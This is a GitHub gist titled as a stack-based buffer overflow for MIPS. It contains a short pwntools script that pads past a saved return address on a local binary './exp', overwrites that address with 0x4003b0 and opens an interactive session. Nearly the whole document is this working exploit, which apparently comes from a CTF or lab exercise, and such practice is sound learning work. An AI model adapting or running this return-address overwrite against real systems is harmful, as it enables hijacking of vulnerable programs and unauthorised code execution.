Skip to content

Instantly share code, notes, and snippets.

@OlivierLaflamme
Created January 23, 2023 14:48
Show Gist options
  • Save OlivierLaflamme/f4945758fbb6d5be0110788210105c9a to your computer and use it in GitHub Desktop.
Save OlivierLaflamme/f4945758fbb6d5be0110788210105c9a to your computer and use it in GitHub Desktop.
stack based bod in mips
from pwn import *
context(arch= 'mips' , os= 'linux' , log_level= 'debug' )
file_name = './exp'
debug = 0
if debug:
r = remote()
else :
r = process(file_name)
elf = ELF(file_name)
def dbg ():
gdb. attach(r)
p1 = b'a' * ( 0x18 + 4 ) + p32( 0x4003b0 )
r. sendline(p1)
r. interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment